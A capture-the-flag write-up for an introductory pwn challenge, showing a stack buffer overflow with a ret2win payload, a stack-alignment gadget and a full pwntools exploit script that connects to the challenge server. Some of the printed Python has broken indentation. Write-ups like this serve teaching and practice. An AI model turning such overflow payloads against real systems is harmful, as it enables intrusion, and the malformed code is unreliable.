---
description: Binary Exploitation
---

# 101 - Pwn

**Warning: This writeup was originally in** :flag\_id: **INDONESIAN for the competition's mandatory writeup, so I used ChatGPT to translate to ENGLISH!!!**

> Author: Fedra

Given a binary, I started analyzing its security using `checksec`:

![](https://lh7-rt.googleusercontent.com/docsz/AD_4nXcM2Gdh7lVd5C5p0cVTY2MjbCbjcdpq34agaoTd7ivmejnRa3jesTm4AD4vKokuB51UkP7LDLY5NIYldE45khEOu0J0rZJGucxN6fafzK3sGx59F1G6pU_JGbQiCLcxXb5b99qoOuEvAVmYaaAoO5gmFRY5?key=G5qB5JlF_khYxSh2BJAT50po)

It was determined that the binary lacks security measures against basic buffer overflows because it does not have a Stack Canary. Crafting the payload is also simplified since there is no PIE (Position Independent Executable), meaning the base address remains constant.

When the binary was decompiled (using the online decompiler [Dogbolt](https://dogbolt.org)), I found that it was a simple "return-to-win" challenge designed to execute a secret function.

![](https://lh7-rt.googleusercontent.com/docsz/AD_4nXesMDteU5fYSduZM8vnIY0qvcbwqp_QYEjdBfxDHudid02hD6Uucaoar1ncs12CNhz3ZQ7of4zwR1n4ix4uZDKX_nqkcCNMNRdVXC2XOHIKoHq1ajSNP13SJEKn8F9wosL4LA0bDPMMeAFGJdnLt8hKqGY?key=G5qB5JlF_khYxSh2BJAT50po)

To begin creating a payload to solve this challenge, I used the template feature from pwntools with the following command:

```
pwn template pwn --host 0.cloud.chals.io --port 32229 > solve.py
```

To find the return address of the secret function, I used the `info functions` command in GDB with the `pwndbg` plugin.

![](https://lh7-rt.googleusercontent.com/docsz/AD_4nXciPdj6wAKpsDy6QNArrzKTbgc7fyWNH8Kqk5c7JDVrXBbtQbY-NLIRdKI_EicCWL-Yk-Q7EhrVmaRl08oj6CpTLWDiMWjrmvoO1X4X1PZG5nwXdZrTrzeEufwNMVJvZFoYmBYGvPTU39VlP3-0jU5hO4ih?key=G5qB5JlF_khYxSh2BJAT50po)

Next, I searched for the offset required to overwrite the return pointer by causing a buffer overflow using a cyclic pattern:

![](https://lh7-rt.googleusercontent.com/docsz/AD_4nXcDgKgqdhwTr02qDCHiRbf81tR3R_d67PyePj_doFn1_DLr3j42qg8yq0ZimRuP9uf0wp5tib1Y0OJQQfSyKKGrXlMIdeGDSWI1mOF8ZEhrueAXEGhuhFI8L_WpK7zlF4-9WhNIu8XXoLO_GEsIWiXXBEem?key=G5qB5JlF_khYxSh2BJAT50po)

It was observed that the RBP is located at `0x7fffffffe110`, and the RIP is located 8 bytes after the RBP, which led to the discovery of the offset with the pattern `raaaaaaa`:

![](https://lh7-rt.googleusercontent.com/docsz/AD_4nXcSAtde9HA-U1mW1bwKNgop9jXEsNAz9M3-kx2H7PGWq8r7S4FPZvsbrhYYQT4rqT_VvBQW6VJJ1E7LVrxFPG5lRzWKeTYtDkrEPj5yA2vpYQnRKRvq8oXl9ro2uNr8YFpJf50fRsfuXUvWJEUecXR50A3h?key=G5qB5JlF_khYxSh2BJAT50po)

I then wrote a script to create the payload using the variables I had discovered, but I encountered an EOF error:

```python
io = start()

offset = 136
win = p64(0x401196)
payload = b"A" * offset
payload += win

log.info(io.clean())
log.info(f"Sending payload: {payload}")
io.sendline(payload)
log.info(io.clean())

io.interactive()
```

![](https://lh7-rt.googleusercontent.com/docsz/AD_4nXcYiF2miR6nzUFdZnrsHLUt33GTRLP7yQ5_x4Ttcq_zTBhcH5e_cPRbbwSxGAoK3j-N6WaxkDth4gDdZ0W9JEnFL35txQrS0Sd8Xw2cU0tQ0q5jCR6qfzy2m2aZ9bxwosONP32IINTA476aMGkiaLpNPQ7m?key=G5qB5JlF_khYxSh2BJAT50po)

To address the EOF error, I searched for a ROP (Return Oriented Programming) gadget that could perform stack alignment and prevent the EOF error:

![](https://lh7-rt.googleusercontent.com/docsz/AD_4nXcc9QIdO4lDP22YscRImI4_P4SVhF_QBU_q74LjP8XNOnu550LGNq8AZc8FA3F4DlJwO6FHFE4tL3aRkNeB5nb9wdZU-KtjppF4w_E5sTnIPqmk22DMK_-BU7IItFRDCE9ojDCSS28eRGHlZBvjTmtQvuaH?key=G5qB5JlF_khYxSh2BJAT50po)

The simplest gadget for this task was `nop; ret`, which effectively does nothing and simply returns. I used the address `0x40110f` for this gadget and added it to my payload, aligning the stack before returning to the secret function.

Combining all the information, the final script to solve the challenge is as follows:

```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template pwn --host 0.cloud.chals.io --port 32229
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'pwn')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '0.cloud.chals.io'
port = int(args.PORT or 32229)


def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
    return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
    return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
    gdb.attach(io, gdbscript=gdbscript)
return io

def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
    return start_local(argv, *a, **kw)
else:
    return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO:  Partial RELRO
# Stack:  No canary found
# NX:     NX unknown - GNU_STACK missing
# PIE:    No PIE (0x400000)
# Stack:  Executable
# RWX:    Has RWX segments
# SHSTK:  Enabled
# IBT:    Enabled
# Stripped:   No

io = start()

offset = 136
win = p64(0x401196)
ret = p64(0x40110f)
payload = b"A" * offset
payload += ret
payload += win

log.info(io.clean())
log.info(f"Sending payload: {payload}")
io.sendline(payload)
log.info(io.clean())

io.interactive()
```

Using this script, I successfully executed a shell command on the remote machine via `netcat` to the provided remote server, which allowed me to retrieve the flag:

![](https://lh7-rt.googleusercontent.com/docsz/AD_4nXevysg7tg7tyxH-T2sRUlyyAW9qn--5mqfr2g6OYgO5YLlCxgqPgKxr5BPBU_1KJ-w6WVgNyZ-MwqCbuKKUUkdBJbjYycq2gndW6A71k--wz7aN6Nz46JQtCIem6z-A2JWtuo0Trd_iwZCjE_6ulynTQlzy?key=G5qB5JlF_khYxSh2BJAT50po)

**TSA{PWN\_101\_2d2de462ebe19a876eb74b1c9c053120}**
